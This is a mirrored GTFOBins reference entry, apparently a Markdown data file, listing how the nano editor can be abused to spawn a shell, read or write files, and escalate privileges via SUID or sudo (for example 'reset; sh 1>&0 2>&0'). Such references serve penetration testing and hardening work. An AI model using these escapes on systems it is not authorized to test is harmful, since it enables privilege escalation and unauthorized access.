mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
32 lines
704 B
Markdown
32 lines
704 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
nano
|
|
^R^X
|
|
reset; sh 1>&0 2>&0
|
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
|
code: |
|
|
nano -s /bin/sh
|
|
/bin/sh
|
|
^T
|
|
file-write:
|
|
- code: |
|
|
nano file_to_write
|
|
DATA
|
|
^O
|
|
file-read:
|
|
- code: nano file_to_read
|
|
suid:
|
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
|
code: |
|
|
./nano
|
|
^R^X
|
|
reset; sh 1>&0 2>&0
|
|
sudo:
|
|
- code: |
|
|
sudo nano
|
|
^R^X
|
|
reset; sh 1>&0 2>&0
|
|
---
|